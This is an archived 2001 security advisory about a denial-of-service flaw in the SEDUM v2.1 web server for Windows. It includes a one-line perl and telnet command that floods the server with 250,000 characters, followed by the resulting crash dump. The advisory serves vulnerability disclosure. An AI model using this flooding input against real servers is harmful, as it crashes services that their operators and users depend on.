OSEC

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From: slipyB10Z.NET
Date: Fri Feb 23 2001 - 13:28:18 CST

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    Introduction:

    SEDUM is a standard HTTP server designed for
    Internet/Intranet purposes. SEDUM support
    parametric html files and direct access to databases
    for a simple and powerful network data management.
    This software is for the MS operating system.

    The Vendors website is:
    http://www.frassetto.it/sdm/e_index.htm

    Problem: Denial of Service Attack

    SEDUM v2.1 is vulnerable to a nasty Denial of
    Service attack where it can be flooded with useless
    junk until the server crashes promptly. Once it has
    been crashed it needs to be restarted again for it to
    work properly. All windows versions apear to be
    affected.

    Examples:

    echo `perl -e 'print "A" x 250000'` | telnet .com 80

    ^^ = Will cause the program to quit within seconds
    and display:

    EDUM caused an invalid page fault in
    module <unknown> at 0000:0111001e.
    Registers:
    EAX=0122968c CS=016f EIP=0111001e
    EFLGS=00010206 EBX=00000000 SS=0177
    ESP=006dfab0 EBP=006dfadc ECX=0111027c
    DS=0177 ESI=0048258c FS=7677 EDX=0111000c
    ES=0177 EDI=00000000 GS=0000 Bytes at CS:EIP:
    00 a0 2c 00 11 01 0c 00 11 01 00 02 00 00 01 00

    Stack dump:
    0042bbed 00000001 0048258c 0042ba02 00000000
    0048258c 004575fd 00000000 005b037c 012291d0
    005b03e4 00000001 004576cc 0000008c 000005b4
    00457751

    Solution:

    Vendor has been notified, and waiting for reply.
    Judging from the posts about the directory traversals
    with SEDUM and the authors response, don't expect
    a fix anytime soon.

    --------------------
    b10z HTTPd Advisory
    slipyb10z.net

    Found: February 23rd, 2001.

    (PS: sorry if this message looks weird, bugtraq
    seems to always format my messages all screwy)